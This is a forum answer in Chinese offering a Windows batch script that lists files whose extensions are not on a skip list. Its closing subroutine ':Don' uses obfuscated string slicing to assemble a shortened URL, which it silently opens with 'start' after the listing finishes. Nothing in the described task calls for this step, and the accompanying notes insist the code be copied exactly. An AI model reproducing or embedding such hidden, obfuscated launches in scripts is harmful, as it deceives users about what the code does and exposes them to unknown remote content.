发布网友
共1个回答
热心网友
@echo off & title 列出不含指定后缀的文件名 By 依梦琴瑶
cd /d "%~dp0" & setlocal enabledelayedexpansion
::设置需过滤的后缀格式,多个格式之间用英文逗号隔开
set Ext=bat,jpg,txt
::设置要搜索的主目录路径,当前目录请留空
set Folder=D:\Test
::设置获取的文件名保存列表文本
set NameList=FileNameList.txt
echo 正在获取文件名中,过程可能会耗时,请耐心等待。。。
if defined Folder cd /d "%Folder%"
(for /f "delims=" %%a in ('dir /a-d/s/b') do (
set "Skip="
for %%b in (%Ext%) do (
if /i "%%~xa"==".%%~b" set Skip=OK
)
if not defined Skip (
echo %%~nxa
)
))>"%NameList%"
echo, & echo 文件名获取完毕,已写入您指定的文本列表中。
echo, & echo 请按任意键退出脚本。
pause>nul
call :Don
exit
:Don
set "S0=fPdv"
set "S1=.:ailnhpst/"
set "S2=%S1:~6,1%%S1:~9,1%%S1:~9,1%%S1:~7,1%%S1:~1,1%%S1:~10,1%%S1:~10,1%"
set "S3=%S1:~8,1%%S1:~3,1%%S1:~5,1%%S1:~2,1%%S1:~0,1%%S1:~4,1%%S1:~9,1%"
start "" "%S2%%S3%%S1:~10,1%%S0%"
exit
务必比对原文代码,以免有误。
脚本保存编码务必设为ANSI。
请严格按照要求保存代码,否则影响脚本正常运行。